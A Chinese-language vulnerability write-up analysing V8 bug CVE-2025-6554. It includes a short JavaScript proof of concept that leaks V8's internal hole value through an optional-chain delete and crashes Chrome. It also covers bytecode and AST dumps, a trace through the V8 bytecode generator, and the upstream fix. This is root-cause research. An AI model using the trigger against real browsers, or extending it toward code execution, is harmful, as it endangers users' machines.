PWN-Tips
  • CVE-2025-6554 分析

CVE-2025-6554 分析

好久没有分析过 v8 漏洞了,挑一个比较新的,体验一下 2025 年利用 v8 漏洞的难度,看看最近几年有没有增加新的安全特性。

尝试 google 搜索一个比较新的但是又有一些资料的 v8 漏洞,发现了 https://ti.qianxin.com/blog/articles/a-brief-analysis-of-chrome-0day-cve-2025-6554-en/ 这篇,读了个开头,就找到了 DARKNAVY 发布的 POC https://github.com/DarkNavySecurity/PoC/blob/main/CVE-2025-6554/poc.js 。这样就有足够的信息可以先开始我自己的分析了,等卡住的时候,再回去看别人的分析。

先构造环境复现漏洞,根据 Chrome 发版记录,找到漏洞修复的版本在 , 那么前一个发版是 https://chromereleases.googleblog.com/2025/06/stable-channel-update-for-desktop_24.html 138.0.7204.49/50

从 https://chromiumdash.appspot.com/releases?platform=Windows 找到对应的备份 https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Win_x64/1465706/

源码也切换到对应的 tag https://chromium.googlesource.com/chromium/src/+/refs/tags/138.0.7204.50

> git fetch origin tag 138.0.7204.50
> 

或者也可以只把 v8 的源码切换到对应的 tag https://chromium.googlesource.com/v8/v8.git/+/tags/13.8.258.19

复现

将 poc 转换成 html 的形式, 之后用 python http.server 运行一个 http 服务器,用有漏洞的 chrome 去访问,发现 chrome 崩溃了。

<html>
	<body>
	<script>
		function f() {
		    let x;
		    delete x?.[y]?.a;
		    return y;
		    let y;
		}
		let hole = f();
		// print(%StrictEqual(hole, %TheHole()));
		let map = new Map();
		map.delete(hole);
		console.log('123');
	</script>
	</body>
</html>

崩溃显示,错误代码:STATUS_BREAKPOINT, 根据经验这里是因为 DCHECK 校验失败造成的崩溃,可以用 VS 调试一下,看看 DCHECK 的位置。

来分析一下代码,这段代码,明显是有问题的,let 声明的变量应该是在 let 之后才有效,在 let 之前是不能访问的,但是结合上下文分析,函数 f 中 return y 语句成功访问到了 y 的值,而且这个时候 y 是 v8 内部使用的值 %TheHole(),这个值是 v8 内部实现用来做哨兵值使用的。如果让 javascript 代码层面拿到这个值,那么就可能引发一些未定义的行为,进一步出发内存访问错误,从而实现 RCE。

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let#temporal_dead_zone_tdz

根据这个猜测,开始调试崩溃,运行 vs2022 选择 continue without code,用 debug attach to process 功能附加到 chromium 进程上,要根据命令行选择那个 browser 和 renderer 进程,并且安装 Microsoft Child Process Debugging Power Tool 并启用,这样 renderer 进程崩溃后,vs 会自动附加到 browser 创建的新 renderer 进程。

可以看到崩溃时的调用栈

chrome.dll!v8::base::OS::Abort() Line 1239	C++
chrome.dll!V8_Fatal(const char *) Line 215	C++
[Inline Frame] chrome.dll!v8::internal::Object::GetHash(v8::internal::Tagged<v8::internal::Object>) Line 1903	C++
chrome.dll!v8::internal::OrderedHashMap::GetHash(unsigned __int64) Line 441	C++
chrome.dll!Builtins_MapPrototypeDelete()	C++
chrome.dll!Builtins_InterpreterEntryTrampoline()	C++
chrome.dll!Builtins_JSEntryTrampoline()	C++
chrome.dll!Builtins_JSEntry()	C++
chrome.dll!v8::internal::`anonymous namespace'::Invoke(v8::internal::Isolate *) Line 441	C++
chrome.dll!v8::internal::Execution::CallScript(v8::internal::DirectHandle<v8::internal::JSFunction>) Line 542	C++
chrome.dll!v8::Script::Run(v8::Local<v8::Context>) Line 1964	C++
...

简单分析后发现 Builtins_MapPrototypeDelete 应该是 Map.prototype.delete 对应的函数实现,在执行 delete 的过程中,由于参数不满足条件导致了 CHECK 检查主动触发崩溃。

// static
Tagged<Object> Object::GetHash(Tagged<Object> obj) {
  DisallowGarbageCollection no_gc;
  Tagged<Object> hash = GetSimpleHash(obj);
  if (IsSmi(hash)) return hash;

  // Make sure that we never cast internal objects to JSReceivers.
  CHECK(IsJSReceiver(obj));  // <<<  这里触发崩溃
  Tagged<JSReceiver> receiver = Cast<JSReceiver>(obj);
  return receiver->GetIdentityHash();
}

可以看到这里不是当前的重点,我们要先知道 f() 函数的返回值是怎么来的,先利用 v8 的输出字节码功能看一下 f() 函数对应的字节码。以命令 ./chrome.exe --enable-logging=stderr --js-flags="--print_bytecode" --no-sandbox 重新运行一个 chrome,访问 POC 页面,可以看到以下字节码输出。注意要先关闭已经打开的 chrome 进程。

[generated bytecode for function: f (0x01ef0016bff9 <SharedFunctionInfo f>)]
Bytecode length: 29
Parameter count 1
Register count 3
Frame size 24
         0x536500100700 @    0 : 10                LdaTheHole
         0x536500100701 @    1 : cf                Star1
         0x536500100702 @    2 : 0e                LdaUndefined
         0x536500100703 @    3 : d0                Star0
         0x536500100704 @    4 : 1b f9 f7          Mov r0, r2
         0x536500100707 @    7 : aa 12             JumpIfUndefinedOrNull [18] (0x536500100719 @ 25)
         0x536500100709 @    9 : 0b f8             Ldar r1
         0x53650010070b @   11 : b6 00             ThrowReferenceErrorIfHole [0]
         0x53650010070d @   13 : 35 f7 00          GetKeyedProperty r2, [0]
         0x536500100710 @   16 : aa 09             JumpIfUndefinedOrNull [9] (0x536500100719 @ 25)
         0x536500100712 @   18 : ce                Star2
         0x536500100713 @   19 : 13 01             LdaConstant [1]
         0x536500100715 @   21 : 60 f7             DeletePropertySloppy r2
         0x536500100717 @   23 : 95 03             Jump [3] (0x53650010071a @ 26)
         0x536500100719 @   25 : 11                LdaTrue
         0x53650010071a @   26 : 0b f8             Ldar r1
         0x53650010071c @   28 : b5                Return
Constant pool (size = 2)
Handler Table (size = 0)
Source Position Table (size = 0)

分析这段字节码发现,关键点可能在 JumpIfUndefinedOrNull [18] (0x536500100719 @ 25) 这个地方跳过了后面的 ThrowReferenceErrorIfHole 指令,导致了最后的 Ldar r1 将 TheHole 作为返回值执行了。结合 Javascript 代码来看,很可能是 delete x?.[y]?.a; 这一行的引入导致了代码走向了未定义的路径上,可以注释掉这一行再看对应的字节码,输入变成了如下。

Source Position Table (size = 0)
[generated bytecode for function: f (0x015b0016bff9 <SharedFunctionInfo f>)]
Bytecode length: 9
Parameter count 1
Register count 2
Frame size 16
         0x3709001006fc @    0 : 10                LdaTheHole
         0x3709001006fd @    1 : cf                Star1
   26 S> 0x3709001006fe @    2 : 0e                LdaUndefined
         0x3709001006ff @    3 : d0                Star0
   57 S> 0x370900100700 @    4 : 0b f8             Ldar r1
         0x370900100702 @    6 : b6 00             ThrowReferenceErrorIfHole [0]
   66 S> 0x370900100704 @    8 : b5                Return
Constant pool (size = 1)
Handler Table (size = 0)

可以看到,这个版本的字节码就不存在有问题的代码路径,可以看到 v8 对在 let 声明以前就访问变量的情况是先存储一个 Hole 到变量中,在访问的位置使用 ThrowReferenceErrorIfHole 抛出异常,分析到这里,我就有了两个疑问:

  • 为什么插入 delete x?.[y]?.a; 后,产生了可以跳过 ThrowReferenceErrorIfHole 的控制流
  • 为什么在 let 定义之前访问变量会生成使用 Hole 占位符的代码

先来分析问题1,这个可以说是漏洞的直接成因。我们可以编译一个 debug 版本的 d8, 调试并对比delete x?.[y]?.a; 语句存在与否,AST 和 字节码生成的区别

先把代码写入 poc1.js poc2.js 两个文件

// poc1.js
function f(){
let x;
return y;
let y;
}
f();
// poc2.js
function f() {
let x;
delete x?.[y]?.a;
return y;
let y;
}
f();

之后执行命令 d8.exe --print-ast --print-bytecode poc1.js/poc2.js 分别查看两个函数生成的 AST 和 字节码,结果如下(省略了无关的部分): poc1

[generating bytecode for function: f]
--- AST ---
FUNC at 10
. KIND 0
. LITERAL ID 1
. SUSPEND COUNT 0
. NAME "f"
. INFERRED NAME ""
. DECLS
. . VARIABLE (0000028CB4A3D890) (mode = LET, assigned = false) "x"
. . VARIABLE (0000028CB4A3D980) (mode = LET, assigned = false) "y"
. BLOCK NOCOMPLETIONS at -1
. . EXPRESSION STATEMENT at 19
. . . kInit at 19
. . . . VAR PROXY local[0] (0000028CB4A3D890) (mode = LET, assigned = false) "x"
. . . . LITERAL undefined
. RETURN at 23
. . VAR PROXY local[1] (0000028CB4A3D980) (mode = LET, assigned = false) "y"
. BLOCK NOCOMPLETIONS at -1
. . EXPRESSION STATEMENT at 38
. . . kInit at 38
. . . . VAR PROXY local[1] (0000028CB4A3D980) (mode = LET, assigned = false) "y"
. . . . LITERAL undefined

[generated bytecode for function: f (0x02d100063f4d <SharedFunctionInfo f>)]
Bytecode length: 9
Parameter count 1
Register count 2
Frame size 16
         0x5a001000cc @    0 : 10                LdaTheHole
         0x5a001000cd @    1 : cf                Star1
   19 S> 0x5a001000ce @    2 : 0e                LdaUndefined
         0x5a001000cf @    3 : d0                Star0
   23 S> 0x5a001000d0 @    4 : 0b f8             Ldar r1
         0x5a001000d2 @    6 : b6 00             ThrowReferenceErrorIfHole [0]
   32 S> 0x5a001000d4 @    8 : b5                Return
Constant pool (size = 1)
0x5a00100099: [TrustedFixedArray]
 - map: 0x02d100000605 <Map(TRUSTED_FIXED_ARRAY_TYPE)>
 - length: 1
           0: 0x02d100003609 <String[1]: #y>

poc2

[generating bytecode for function: f]
--- AST ---
FUNC at 10
. KIND 0
. LITERAL ID 1
. SUSPEND COUNT 0
. NAME "f"
. INFERRED NAME ""
. DECLS
. . VARIABLE (0000021B587D63C0) (mode = LET, assigned = false) "x"
. . VARIABLE (0000021B587D6550) (mode = LET, assigned = false) "y"
. BLOCK NOCOMPLETIONS at -1
. . EXPRESSION STATEMENT at 20
. . . kInit at 20
. . . . VAR PROXY local[0] (0000021B587D63C0) (mode = LET, assigned = false) "x"
. . . . LITERAL undefined
. EXPRESSION STATEMENT at 24
. . kDelete at 24
. . . OPTIONAL_CHAIN at 0
. . . . PROPERTY at 37
. . . . . PROPERTY at 34
. . . . . . VAR PROXY local[0] (0000021B587D63C0) (mode = LET, assigned = false) "x"
. . . . . . KEY at 35
. . . . . . . VAR PROXY local[1] (0000021B587D6550) (mode = LET, assigned = false) "y"
. . . . . NAME a
. RETURN at 43
. . VAR PROXY local[1] (0000021B587D6550) (mode = LET, assigned = false) "y"
. BLOCK NOCOMPLETIONS at -1
. . EXPRESSION STATEMENT at 58
. . . kInit at 58
. . . . VAR PROXY local[1] (0000021B587D6550) (mode = LET, assigned = false) "y"
. . . . LITERAL undefined

[generated bytecode for function: f (0x022500063f4d <SharedFunctionInfo f>)]
Bytecode length: 29
Parameter count 1
Register count 3
Frame size 24
         0x21b001000d0 @    0 : 10                LdaTheHole
         0x21b001000d1 @    1 : cf                Star1
         0x21b001000d2 @    2 : 0e                LdaUndefined
         0x21b001000d3 @    3 : d0                Star0
         0x21b001000d4 @    4 : 1b f9 f7          Mov r0, r2
         0x21b001000d7 @    7 : aa 12             JumpIfUndefinedOrNull [18] (0x21b001000e9 @ 25)
         0x21b001000d9 @    9 : 0b f8             Ldar r1
         0x21b001000db @   11 : b6 00             ThrowReferenceErrorIfHole [0]
         0x21b001000dd @   13 : 35 f7 00          GetKeyedProperty r2, [0]
         0x21b001000e0 @   16 : aa 09             JumpIfUndefinedOrNull [9] (0x21b001000e9 @ 25)
         0x21b001000e2 @   18 : ce                Star2
         0x21b001000e3 @   19 : 13 01             LdaConstant [1]
	         0x21b001000e5 @   21 : 60 f7             DeletePropertySloppy r2
         0x21b001000e7 @   23 : 95 03             Jump [3] (0x21b001000ea @ 26)
         0x21b001000e9 @   25 : 11                LdaTrue
         0x21b001000ea @   26 : 0b f8             Ldar r1
         0x21b001000ec @   28 : b5                Return
Constant pool (size = 2)
0x21b00100099: [TrustedFixedArray]
 - map: 0x022500000605 <Map(TRUSTED_FIXED_ARRAY_TYPE)>
 - length: 2
           0: 0x022500003609 <String[1]: #y>
           1: 0x022500003489 <String[1]: #a>

仔细对比两个结果以后,发现了两点:

  • Return 语句前的 Ldar1; ThrowReferenceErrorIfHole; 被替换成了 Ldar r1,推测是由于之前 delete 语句对应的字节码中已经有了对应的检查,后面的检查就被省略掉了
  • 新增了一条控制流,可以跳过 Hole 检查,转到 return 语句对应的字节码去执行。

这两点结合起来,就刚刚好生成了可以产生漏洞的字节码。delete x?.[y]?.a; 被语法分析解析成了语法树的节点 EXPRESSION STATEMENT at 24, 关键处理流程如下:

template <typename Impl>
typename ParserBase<Impl>::ExpressionT
ParserBase<Impl>::ParseLeftHandSideContinuation(ExpressionT result) {
  DCHECK(Token::IsPropertyOrCall(peek()));

  if (V8_UNLIKELY(peek() == Token::kLeftParen && impl()->IsIdentifier(result) &&
                  scanner()->current_token() == Token::kAsync &&
                  !scanner()->HasLineTerminatorBeforeNext() &&
                  !scanner()->literal_contains_escapes())) {
    // ...
  }

  bool optional_chaining = false;
  bool is_optional = false;
  int optional_link_begin;
  do {
    switch (peek()) {
      case Token::kQuestionPeriod: {
        if (is_optional) {
          ReportUnexpectedToken(peek());
          return impl()->FailureExpression();
        }
        // Include the ?. in the source range position.
        optional_link_begin = scanner()->peek_location().beg_pos;
        Consume(Token::kQuestionPeriod);
        is_optional = true;
        optional_chaining = true;
        if (Token::IsPropertyOrCall(peek())) continue;
        int pos = position();
        ExpressionT key = ParsePropertyOrPrivatePropertyName();
        result = factory()->NewProperty(result, key, pos, is_optional);
        break;
      }

      /* Property */
      case Token::kLeftBracket: {
        Consume(Token::kLeftBracket);
        int pos = position();
        AcceptINScope scope(this, true);
        ExpressionT index = ParseExpressionCoverGrammar();
        result = factory()->NewProperty(result, index, pos, is_optional);
        Expect(Token::kRightBracket);
        break;
      }

      // ...
    }
    if (is_optional) {
      SourceRange chain_link_range(optional_link_begin, end_position());
      impl()->RecordExpressionSourceRange(result, chain_link_range);
      is_optional = false;
    }
  } while (Token::IsPropertyOrCall(peek()));
  if (optional_chaining) return factory()->NewOptionalChain(result);
  return result;
}

static bool IsPropertyOrCall(Value token) {
	return base::IsInRange(token, kTemplateSpan, kLeftParen);
}

// 相关的 TOKEN

#define TOKEN_LIST(T, K)                                                      \
                                                                              \
  /* BEGIN PropertyOrCall */                                                  \
  /* BEGIN Member */                                                          \
  /* BEGIN Template */                                                        \
  /* ES6 Template Literals */                                                 \
  T(kTemplateSpan, nullptr, 0)                                                \
  T(kTemplateTail, nullptr, 0)                                                \
  /* END Template */                                                          \
                                                                              \
  /* Punctuators (ECMA-262, section 7.7, page 15). */                         \
  /* BEGIN Property */                                                        \
  T(kPeriod, ".", 0)                                                          \
  T(kLeftBracket, "[", 0)                                                     \
  /* END Property */                                                          \
  /* END Member */                                                            \
  T(kQuestionPeriod, "?.", 0)                                                 \
  T(kLeftParen, "(", 0)                                                       \
  /* END PropertyOrCall */                                                    \


Delete 表达式前面的解析没有什么重要的内容我先略过了,我们直接从解析到第一个 ?. 操作符的时候开始看,代码执行到 case Token::kQuestionPeriod,由于后面紧跟的是 [ 所以 if (Token::IsPropertyOrCall(peek())) continue; 中的 continue 得到执行,下一轮循环来到 case Token::kLeftBracket, ParseExpressionCoverGrammar 函数解析到 index 为 y 的变量访问, result 为访问 x 的 y 属性的 Property 表达式,由于后面紧跟的是 ?. 所以循环继续处理,又来到 case Token::kQuestionPeriod,现在后面跟的是标识符 a, 所以直接解析成访问上一轮 result 变量的 a 属性的 Property 表达式。到这里循环结束,optional_chaining 为 true, 所以 if (optional_chaining) return factory()->NewOptionalChain(result); 返回一个 OptionalChain 表达式节点。

再来看一下对应的字节码生成,关键步骤如下:

void BytecodeGenerator::VisitDelete(UnaryOperation* unary) {
  Expression* expr = unary->expression();
    // ...
  } else if (expr->IsOptionalChain()) {
    Expression* expr_inner = expr->AsOptionalChain()->expression();
    if (expr_inner->IsProperty()) {
      Property* property = expr_inner->AsProperty();
      DCHECK(!property->IsPrivateReference());
      BytecodeLabel done;
      OptionalChainNullLabelScope label_scope(this);
      VisitForAccumulatorValue(property->obj()); // <<<
      if (property->is_optional_chain_link()) {
        int right_range = AllocateBlockCoverageSlotIfEnabled(
            property, SourceRangeKind::kRight);
        builder()->JumpIfUndefinedOrNull(label_scope.labels()->New());
        BuildIncrementBlockCoverageCounterIfEnabled(right_range);
      }
      Register object = register_allocator()->NewRegister();
      builder()->StoreAccumulatorInRegister(object);
      if (property->is_optional_chain_link()) {
        VisitInHoleCheckElisionScopeForAccumulatorValue(property->key());
      } else {
        VisitForAccumulatorValue(property->key());
      }
      builder()->Delete(object, language_mode());
      builder()->Jump(&done);
      label_scope.labels()->Bind(builder());
      builder()->LoadTrue();
      builder()->Bind(&done);
    } else {
      VisitForEffect(expr);
      builder()->LoadTrue();
    }
  } else if (expr->IsVariableProxy() &&
             !expr->AsVariableProxy()->is_new_target()) {
      // ...
    }
  } else {
    // ...
  }
}

在字节码生成阶段,解析到 Delete 表达式的时候,发现操作数是 OptionalChain 表达式的时候就会走到对应的分支,expr_inner 这个时候是个 Property 表达式所以代码执行到 VisitForAccumulatorValue(property->obj()) 这个 obj 就是属性访问的对象,这里是 x?.[y], 下面还有对 property->key() 的访问,这个 key 是访问的属性值,这里是 a,这个 VisitForAccumulatorValue 调用很关键,我们跟进去分析。

// Visits the expression |expr| and places the result in the accumulator.
BytecodeGenerator::TypeHint BytecodeGenerator::VisitForAccumulatorValue(
    Expression* expr) {
  ValueResultScope accumulator_scope(this);
  return VisitForAccumulatorValueImpl(expr, &accumulator_scope);
}

BytecodeGenerator::TypeHint BytecodeGenerator::VisitForAccumulatorValueImpl(
    Expression* expr, ValueResultScope* accumulator_scope) {
  Visit(expr); // <<<
  // Record the type hint for the result of current expression in accumulator.
  const TypeHint type_hint = accumulator_scope->type_hint();
  BytecodeRegisterOptimizer* optimizer = builder()->GetRegisterOptimizer();
  if (optimizer && type_hint != TypeHint::kUnknown) {
    optimizer->SetTypeHintForAccumulator(type_hint);
  }
  return type_hint;
}

由于这里的 obj 对应的 x?.[y] 其实是个 Property 表达式节点,代码实际上会执行到 VisitProperty 函数

void BytecodeGenerator::VisitProperty(Property* expr) {
  AssignType property_kind = Property::GetAssignType(expr);
  if (property_kind != NAMED_SUPER_PROPERTY &&
      property_kind != KEYED_SUPER_PROPERTY) {
    Register obj = VisitForRegisterValue(expr->obj()); // <<< 这里
    VisitPropertyLoad(obj, expr);
  } else {
    VisitPropertyLoad(Register::invalid_value(), expr);
  }
}

void BytecodeGenerator::VisitPropertyLoad(Register obj, Property* property) {
  if (property->is_optional_chain_link()) {
    DCHECK_NOT_NULL(optional_chaining_null_labels_);
    int right_range =
        AllocateBlockCoverageSlotIfEnabled(property, SourceRangeKind::kRight);
    builder()->LoadAccumulatorWithRegister(obj).JumpIfUndefinedOrNull(
        optional_chaining_null_labels_->New());  // <<<
    BuildIncrementBlockCoverageCounterIfEnabled(right_range);
  }

  AssignType property_kind = Property::GetAssignType(property);

  switch (property_kind) {
    case NON_PROPERTY:
      UNREACHABLE();
    case NAMED_PROPERTY: {
      builder()->SetExpressionPosition(property); 
      const AstRawString* name =
          property->key()->AsLiteral()->AsRawPropertyName();
      BuildLoadNamedProperty(property->obj(), obj, name);
      break;
    }
    case KEYED_PROPERTY: {
      VisitForAccumulatorValueAsPropertyKey(property->key());  // <<<<
      builder()->SetExpressionPosition(property);
      BuildLoadKeyedProperty(obj, feedback_spec()->AddKeyedLoadICSlot());
      break;
    }
    // ...
  }
}

我们的属性访问类型很明显不是和 SUPER 相关的,所以会走入非 SUPER 分支,这里 expr->obj 是 x?.[y] 表达式对应的 obj, 也就是 x, VisitForRegisterValue 会生成把 obj 存储到寄存器的代码,之后执行 VisitPropertyLoad 生成属性访问的代码,由于表达式是 OptionalChain 所以代码执行到 builder()->LoadAccumulatorWithRegister(obj).JumpIfUndefinedOrNull(optional_chaining_null_labels_->New()); 生成检查 obj 是否为 undefined/null 的代码,如果为空则直接跳到下一条语句执行。之后程序执行到 case KEYED_PROPERTY:,VisitForAccumulatorValueAsPropertyKey 函数会生成加载 key 到 accumulator 的代码,后面的 LoadKeyedPropery 生成的代码会直接使用 accumulator 中的值。

BytecodeGenerator::TypeHint
BytecodeGenerator::VisitForAccumulatorValueAsPropertyKey(Expression* expr) {
  ValueResultScope accumulator_scope(this,
                                     ValueResultScope::kValueAsPropertyKey);
  return VisitForAccumulatorValueImpl(expr, &accumulator_scope);
}

VisitForAccumulatorValueImpl 上面已经贴出的,这次调用使用的 expr 是 property->key() 也就是 y, 对应的节点 VariableProxy 表达式, 所以调用 Visit 执行到 VisitVariableProxy


void BytecodeGenerator::VisitVariableProxy(VariableProxy* proxy) {
  builder()->SetExpressionPosition(proxy);
  BuildVariableLoad(proxy->var(), proxy->hole_check_mode());
}


void BytecodeGenerator::BuildVariableLoad(Variable* variable,
                                          HoleCheckMode hole_check_mode,
                                          TypeofMode typeof_mode) {
  switch (variable->location()) {
    case VariableLocation::LOCAL: {
      Register source(builder()->Local(variable->index()));
      // We need to load the variable into the accumulator, even when in a
      // VisitForRegisterScope, in order to avoid register aliasing if
      // subsequent expressions assign to the same variable.
      builder()->LoadAccumulatorWithRegister(source);
      if (VariableNeedsHoleCheckInCurrentBlock(variable, hole_check_mode)) {
        BuildThrowIfHole(variable); // <<<
      }
      break;
    }
    //...
  }
}

y 是用 let 声明的局部变量,所以执行到 case VariableLocation::LOCAL:,

bool BytecodeGenerator::VariableNeedsHoleCheckInCurrentBlock(
    Variable* variable, HoleCheckMode hole_check_mode) {
  return hole_check_mode == HoleCheckMode::kRequired &&
         !variable->HasRememberedHoleCheck(hole_check_bitmap_);
}

bool Variable::HasRememberedHoleCheck(HoleCheckBitmap bitmap) const {
	uint8_t index = HoleCheckBitmapIndex();
	bool result = bitmap & (HoleCheckBitmap{1} << index);
	DCHECK_IMPLIES(index == kUncacheableHoleCheckBitmapIndex, !result);
	return result;
}

void Variable::ResetHoleCheckBitmapIndex() {
	hole_check_analysis_bit_field_ = HoleCheckBitmapIndexField::update(
		hole_check_analysis_bit_field_, kUncacheableHoleCheckBitmapIndex);
}

而且这里 y 的使用是在 let 声明之前的,所以 hole_check_mode 是 kRequired,而 HasRememberedHoleCheck 函数会检查位图,判断当前变量在代码块中是否已经做过 Hole 检查了。目前是 y 在本代码块内的第一次访问,所以还没被检查过,VariableNeedsHoleCheckInCurrentBlock 返回 true,程序执行到 BuildThrowIfHole(variable); 生成对应的异常处理字节码,之后调用 RememberHoleCheckInCurrentBlock 函数,记录这次检查到位图。


hole_check_mode 是在 DeclarationScope::Analyze 函数中分析出来的,感兴趣的同学可以自行调试一下。

Parser::ParseProgram

Parser::PostProcessParseResult

DeclarationScope::Analyze

DeclarationScope::AllocateVariables

Scope::AllocateVariablesRecursively


void BytecodeGenerator::BuildThrowIfHole(Variable* variable) {
  if (variable->is_this()) {
    DCHECK(variable->mode() == VariableMode::kConst);
    builder()->ThrowSuperNotCalledIfHole();
  } else {
    builder()->ThrowReferenceErrorIfHole(variable->raw_name());
  }
  RememberHoleCheckInCurrentBlock(variable);
}

void BytecodeGenerator::RememberHoleCheckInCurrentBlock(Variable* variable) {
  if (!v8_flags.ignition_elide_redundant_tdz_checks) return;

  // The first N-1 variables that need hole checks may be cached in a bitmap to
  // elide subsequent hole checks in the same basic block, where N is
  // Variable::kHoleCheckBitmapBits.
  //
  // This numbering is done during bytecode generation instead of scope analysis
  // for 2 reasons:
  //
  // 1. There may be multiple eagerly compiled inner functions during a single
  // run of scope analysis, so a global numbering will result in fewer variables
  // with cacheable hole checks.
  //
  // 2. Compiler::CollectSourcePositions reparses functions and checks that the
  // recompiled bytecode is identical. Therefore the numbering must be kept
  // identical regardless of whether a function is eagerly compiled as part of
  // an outer compilation or recompiled during source position collection. The
  // simplest way to guarantee identical numbering is to scope it to the
  // compilation instead of scope analysis.
  variable->RememberHoleCheckInBitmap(hole_check_bitmap_,
                                      vars_in_hole_check_bitmap_);
}


void RememberHoleCheckInBitmap(HoleCheckBitmap& bitmap,
							 ZoneVector<Variable*>& list) {
	DCHECK(v8_flags.ignition_elide_redundant_tdz_checks);
	uint8_t index = HoleCheckBitmapIndex();
	if (V8_UNLIKELY(index == kUncacheableHoleCheckBitmapIndex)) {
	  index = list.size() + 1;
	  // The bitmap is full.
	  if (index == kHoleCheckBitmapBits) return;
	  AssignHoleCheckBitmapIndex(list, index);
	}
	bitmap |= HoleCheckBitmap{1} << index;
	DCHECK_EQ(
		0, bitmap & (HoleCheckBitmap{1} << kUncacheableHoleCheckBitmapIndex));
}

分析到这里,我们基本能看出问题所在了,VariableNeedsHoleCheckInCurrentBlock 的本意只是在同代码块中消除不必要的 Hole 检查,但是这个状态维护的代码一定是有 BUG,导致 x?.[y].a 这样会产生分支的语句中的 Hole 检查位图状态并没有被正确维护,后面 Return 语句中的 y 变量访问的地方认为同一个代码块中已进行了 Hole 检查,导致了 Hole 值,被泄露到了函数的返回值中。

下面继续分析,证实上面的猜测,继续调试后续流程,发现在 VisitDelete 函数中有一处 VisitInHoleCheckElisionScopeForAccumulatorValue(property->key());, 这个函数看名字就能猜出是在限定 HoleCheck 消除的范围。

BytecodeGenerator::TypeHint
BytecodeGenerator::VisitInHoleCheckElisionScopeForAccumulatorValue(
    Expression* expr) {
  HoleCheckElisionScope elider(this);
  return VisitForAccumulatorValue(expr);
}


// Scoped class to help elide hole checks within a conditionally executed basic
// block. Each conditionally executed basic block must have a scope to emit
// hole checks correctly.
//
// The duration of the scope must correspond to a basic block. Numbered
// Variables (see Variable::HoleCheckBitmap) are remembered in the bitmap when
// the first hole check is emitted. Subsequent hole checks are elided.
//
// On scope exit, the hole check state at construction time is restored.
class V8_NODISCARD BytecodeGenerator::HoleCheckElisionScope {
 public:
  explicit HoleCheckElisionScope(BytecodeGenerator* bytecode_generator)
      : HoleCheckElisionScope(&bytecode_generator->hole_check_bitmap_) {}

  ~HoleCheckElisionScope() { *bitmap_ = prev_bitmap_value_; }

 protected:
  explicit HoleCheckElisionScope(Variable::HoleCheckBitmap* bitmap)
      : bitmap_(bitmap), prev_bitmap_value_(*bitmap) {}

  Variable::HoleCheckBitmap* bitmap_;
  Variable::HoleCheckBitmap prev_bitmap_value_;
};

看完实现可以确认,这个函数就是用来保存 bitmap_ 值,在表达式解析完毕后再恢复的,这里只对最外层的进行了处理是不够的,每个 Optional 的 PropertyLoad 的 key 实际上都应该进行类似的处理。

后面的一些不重要的流程就忽略掉了,直接来看 Return 语句对应的字节码生成。

void BytecodeGenerator::VisitReturnStatement(ReturnStatement* stmt) {
  AllocateBlockCoverageSlotIfEnabled(stmt, SourceRangeKind::kContinuation);
  builder()->SetStatementPosition(stmt);
  VisitForAccumulatorValue(stmt->expression()); // <<<<
  int return_position = stmt->end_position();
  if (return_position == ReturnStatement::kFunctionLiteralReturnPosition) {
    return_position = info()->literal()->return_position();
  }
  if (stmt->is_async_return()) {
    execution_control()->AsyncReturnAccumulator(return_position);
  } else {
    execution_control()->ReturnAccumulator(return_position);
  }
}

关键点在于 VisitForAccumulatorValue(stmt->expression()); 就返回值加载到 accumulator 的处理,根据源码这里加载的就是局部变量 y, 而这个 y 是在 let 作用域外的所以他的加载应该有额外的 Hole 检查逻辑,我们调试一下 Hole 检查被消除的逻辑。

y 是变量的引用,所以 VisitForAccumulatorValue 还是和之前一样的处理流程, VisitVariableProxy -> BuildVariableLoad

void BytecodeGenerator::BuildVariableLoad(Variable* variable,
                                          HoleCheckMode hole_check_mode,
                                          TypeofMode typeof_mode) {
  switch (variable->location()) {
    case VariableLocation::LOCAL: {
      Register source(builder()->Local(variable->index()));
      // We need to load the variable into the accumulator, even when in a
      // VisitForRegisterScope, in order to avoid register aliasing if
      // subsequent expressions assign to the same variable.
      builder()->LoadAccumulatorWithRegister(source);
      if (VariableNeedsHoleCheckInCurrentBlock(variable, hole_check_mode)) { // <<<
        BuildThrowIfHole(variable);
      }
      break;
    }

但是这次由于之前设置了 y 变量的对应的 HoleCheckBitmap_ 标志位, VariableNeedsHoleCheckInCurrentBlock 返回了 false 最终导致应有的 Hole 检查逻辑被当作荣誉操作忽略掉了。

漏洞修复

再来看一下漏洞的修复,从已修复版本的 DEPS 文件搜索 v8_revision 找对了对应的 v8 的 commit, https://chromium.googlesource.com/chromium/src/+/refs/tags/138.0.7204.96/DEPS e5b4c78b54e8b033b2701db3df0bf67d3030e4c1,然后和未修复版本做 diff 或者挨个看 commit 记录 https://chromium.googlesource.com/v8/v8.git/+log/e5b4c78b54e8b033b2701db3df0bf67d3030e4c1 可以发现 https://chromium.googlesource.com/v8/v8.git/+/069790710f28b00ff8d7b4c665eef6b4eb8768f6 这个 commit 描述是 [interpreter] don't elide hole checks across optional chain。

阅读修复的代码 diff,发现很简单,只是在 OptionalChaiNullLabelScope 中加入了用 HoleCheckElisionScope,来限定 HoleCheckElision 范围。OptionlaChainNullLabelScope 之前在 VisitDelete 中已经在使用的,这里只不过又给他增加了一些功能。

diff --git [a/src/interpreter/bytecode-generator.cc](https://chromium.googlesource.com/v8/v8.git/+/0ea9b0813581826a94b45324e746f9ab57f0f843/src/interpreter/bytecode-generator.cc) [b/src/interpreter/bytecode-generator.cc](https://chromium.googlesource.com/v8/v8.git/+/069790710f28b00ff8d7b4c665eef6b4eb8768f6/src/interpreter/bytecode-generator.cc)
index 9832d01..2861ab7 100644
--- a/src/interpreter/bytecode-generator.cc
+++ b/src/interpreter/bytecode-generator.cc

@@ -1221,7 +1221,8 @@
  public:
   explicit OptionalChainNullLabelScope(BytecodeGenerator* bytecode_generator)
       : bytecode_generator_(bytecode_generator),
-        labels_(bytecode_generator->zone()) {
+        labels_(bytecode_generator->zone()),
+        hole_check_scope_(bytecode_generator) {
     prev_ = bytecode_generator_->optional_chaining_null_labels_;
     bytecode_generator_->optional_chaining_null_labels_ = &labels_;
   }
@@ -1236,6 +1237,9 @@
   BytecodeGenerator* bytecode_generator_;
   BytecodeLabels labels_;
   BytecodeLabels* prev_;
+  // Use the same scope for the entire optional chain, as links earlier in the
+  // chain dominate later links, linearly.
+  HoleCheckElisionScope hole_check_scope_;
 };
 
 // LoopScope delimits the scope of {loop}, from its header to its final jump.
